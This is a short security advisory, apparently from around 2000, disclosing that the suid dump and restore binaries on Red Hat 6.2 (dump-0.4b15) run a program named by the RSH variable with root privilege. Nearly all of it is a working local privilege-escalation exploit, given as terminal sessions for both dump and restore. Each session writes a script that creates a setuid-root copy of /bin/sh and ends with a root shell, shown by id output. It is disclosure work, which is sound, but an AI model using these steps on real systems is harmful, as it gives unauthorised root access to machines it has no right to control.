1. Problem:
 Redhat 6.2 dump command executes external program with suid priviledge.
2. Tested Version
 dump-0.4b15

  all of these binaries are affected
  /sbin/dump
  /sbin/dump.static
  /sbin/restore
  /sbin/restore.static
3. Example

 1. /sbin/dump or /sbin/dump.static
  [mat@localhost mat]$ export TAPE=garbage:garbage
  [mat@localhost mat]$ export RSH=/home/mat/execute_this
  [mat@localhost mat]$ cat > /home/mat/execute_this
  #!/bin/sh
  cp /bin/sh /home/mat/sh
  chmod 4755 /home/mat/sh
  [mat@localhost mat]$ chmod 755 /home/mat/execute_this
  [mat@localhost mat]$ /sbin/dump -0 /
    DUMP: Connection to garbage established.
    DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
    DUMP: Date of last level 0 dump: the epoch
    DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
    DUMP: Label: none
  /dev/hda2: Permission denied while opening filesystem
   [mat@localhost mat]$ ls -la /home/mat/sh
   -rwsr-xr-x    1 root     tty        316848 Oct 31 14:38 /home/mat/sh
   [mat@localhost mat]$ /home/mat/sh
   bash# id
   uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)


 2. /sbin/restore
  [mat@localhost mat]$ export TAPE=garbage:garbage
  [mat@localhost mat]$ export RSH=/home/mat/execute_this
  [mat@localhost mat]$ cat > /home/mat/execute_this
  #!/bin/sh
  cp /bin/sh /home/mat/sh
  chmod 4755 /home/mat/sh
  [mat@localhost mat]$ chmod 755 /home/mat/execute_this
  [mat@localhost mat]$ touch /tmp/1
  [mat@localhost mat]$ /sbin/restore -t /tmp/1
  Connection to 1 established.
  Lost connection to remote host.
  [mat@localhost mat]$ ls -la sh
  -rwsr-xr-x    1 root     tty        316848 Nov  1 13:42 sh
  [mat@localhost mat]$ ./sh
  bash# id
  uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)

  
=================================================
|                                               |
|               mat@hacksware.com               |
|                                               |
=================================================